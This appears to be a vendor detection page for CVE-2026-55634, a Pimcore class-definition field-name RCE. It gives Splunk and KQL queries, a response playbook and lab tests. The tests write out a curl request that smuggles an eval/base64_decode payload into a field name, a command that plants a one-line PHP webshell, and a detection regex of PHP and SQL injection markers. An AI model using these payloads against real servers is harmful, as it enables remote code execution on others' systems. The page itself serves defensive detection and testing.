Detect Pimcore DataObject Class-Definition Field Name RCE (CVE-2026-55634) in Splunk
Detects exploitation attempts against CVE-2026-55634, a critical (CVSS 9.9) remote code execution vulnerability in Pimcore. The DataObject class-definition editor fails to sanitize user-supplied field names, allowing an authenticated attacker with class-definition edit privileges to inject SQL (CWE-89) and PHP code (CWE-94) that is later executed when the generated DataObject class/listing PHP files are written and included. Affected: pimcore/pimcore <= 12.3.9 and 2026.1.0 through 2026.1.5. Fixed in 2026.1.6 (and the 12.x backport). Detection focuses on suspicious class-definition save requests, anomalous PHP file writes under the Pimcore var/classes directory, and web-shell-like child processes spawned from the PHP-FPM/webserver worker.
MITRE ATT&CK
- Tactic
- Initial Access Execution
SPL Detection Query
(index=web sourcetype="iis" OR sourcetype="apache:access" OR sourcetype="nginx:access") uri_path IN ("/admin/class/save","/admin/dataobject/class*","/admin/objectbricks*","/admin/fieldcollection*") method=POST
| eval decoded=urldecode(_raw)
| where match(decoded, "(?i)(eval\(|system\(|passthru\(|shell_exec|base64_decode|assert\(|UNION\s+SELECT|<\?php)")
| stats count min(_time) as firstTime max(_time) as lastTime values(uri_path) as uri_paths values(status) as statuses by src_ip, user, host
| `ctime(firstTime)` | `ctime(lastTime)`
| where count > 0Searches web access logs for POST requests to Pimcore class-definition endpoints whose decoded body/query contains PHP or SQL injection markers indicative of CVE-2026-55634 exploitation.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Administrators legitimately editing class definitions with field labels containing flagged keywords
- Security scanners probing the Pimcore admin panel
- Deployment automation replaying admin API calls in staging
Other platforms for CVE-2026-55634
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulated malicious class-definition save with PHP marker
Expected signal: Web access log entry: POST /admin/class/save with body containing eval(/base64_decode.
- Test 2Simulated malicious PHP file write under var/classes
Expected signal: File-create event under var/classes/ for a .php file initiated by the web service account.
- Test 3Webshell child-process spawn from PHP worker
Expected signal: ProcessRollup2 event: php spawning sh/id/uname under the web service account.
References (5)
- https://github.com/pimcore/pimcore/security/advisories/GHSA-9x44-4gxf-8c25
- https://github.com/pimcore/pimcore/pull/19183
- https://github.com/pimcore/pimcore/commit/a4f8c3cfee58b7d5fe4873d67782eff58dae9b9d
- https://github.com/pimcore/pimcore/releases/tag/v2026.1.6
- https://github.com/advisories/GHSA-9x44-4gxf-8c25
Response Playbook
Triage
- Identify the source IP and authenticated admin user of the flagged POST to the Pimcore class-definition endpoint; confirm whether that account is authorized to edit DataObject class definitions.
- Inspect the request body/parameters for injected PHP (<?php, eval, shell_exec) or SQL (UNION SELECT, stacked queries) in the field name/key values.
- Determine the running Pimcore version; confirm it is <= 12.3.9 or between 2026.1.0 and 2026.1.5 (vulnerable) versus 2026.1.6+ (patched).
- Review files written under var/classes/ (DataObject/*.php, Listing/*.php) for a timestamp matching the request and for anomalous PHP payloads.
Containment
- Block the offending source IP at the WAF/edge and disable the compromised or abused admin account pending investigation.
- Restrict access to the Pimcore /admin/class/* endpoints to trusted IPs and revoke class-definition-edit privileges from non-essential users.
- If a malicious generated class file or webshell is confirmed, isolate the host from the network and take PHP-FPM offline until cleaned.
Evidence Collection
- Preserve web server access/error logs, PHP-FPM logs, and the full request body of the malicious class-definition save.
- Capture and hash all recently modified PHP files under var/classes/ and any webshells dropped elsewhere in the webroot for forensic comparison against a known-good release.
Escalation Criteria
- !Escalate to incident response if a var/classes PHP file contains attacker-controlled code or a shell/recon process was spawned from a webserver worker.
- !Escalate to the database team if injected SQL (UNION SELECT / stacked queries) executed against the Pimcore database, indicating data exposure or modification.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Modified/created PHP files under var/classes/ (DataObject and Listing subfolders) - >
Web server and PHP-FPM logs showing POSTs to /admin/class/save with injection markers - >
MySQL general/query logs showing anomalous or stacked queries from the Pimcore DB user
Tuning Guidance
Baseline which admin accounts legitimately author DataObject class definitions and from which IP ranges; exclude known deployment/upgrade windows where var/classes is regenerated in bulk. Tighten by requiring the injection-marker regex match rather than the endpoint alone if benign admin edits generate noise. Prioritize alerts where a class-definition POST is followed within minutes by a var/classes PHP write from a webserver worker or by a shell child process.
Hunting Queries
Hunt for anomalous PHP writes under var/classes and repeated class-definition save attempts by source/user.
DeviceFileEvents | where FolderPath has "/var/classes/" and FileName endswith ".php" | where InitiatingProcessFileName has_any ("php-fpm","apache2","nginx","httpd") | summarize count() by DeviceName, FileName, InitiatingProcessAccountName, bin(TimeGenerated, 1h)index=web (sourcetype=apache:access OR sourcetype=nginx:access OR sourcetype=iis) uri_path="/admin/class/save" method=POST | stats count values(status) by src_ip, userAtomic Red Team Tests
Send a POST to the Pimcore class-definition save endpoint with a field name containing a PHP code marker to trigger the web-log detection (lab only).
Command
curl -s -k -X POST 'https://pimcore.lab.local/admin/class/save' -H 'Cookie: PHPSESSID=labsession' --data-urlencode 'configuration=[{"name":"x\";eval(base64_decode($_GET[0]));//","fieldtype":"input"}]' -o /dev/nullCleanup
echo 'No local artifact to clean; remove the test class definition from Pimcore admin if created.'Expected Telemetry
Web access log entry: POST /admin/class/save with body containing eval(/base64_decode.
Expected Detection
KQL/SPL web-log rule matches the injection marker in the class-definition save request.
Write a PHP file containing a webshell marker into the Pimcore var/classes directory as the web user to trigger the file-write detection (lab only).
Command
sudo -u www-data bash -c 'echo "<?php system(\$_GET[0]); ?>" > /var/www/pimcore/var/classes/DataObject/Evil.php'Cleanup
sudo rm -f /var/www/pimcore/var/classes/DataObject/Evil.phpExpected Telemetry
File-create event under var/classes/ for a .php file initiated by the web service account.
Expected Detection
DeviceFileEvents / Auditbeat file rule flags the PHP write under var/classes by a webserver worker.
Simulate post-exploitation by having a PHP process spawn a shell recon command to trigger process-telemetry detection (lab only).
Command
sudo -u www-data php -r 'system("id; uname -a");'Cleanup
echo 'No persistent artifact; command output is transient.'Expected Telemetry
ProcessRollup2 event: php spawning sh/id/uname under the web service account.
Expected Detection
CrowdStrike CQL rule matches shell/recon child process parented by php/php-fpm.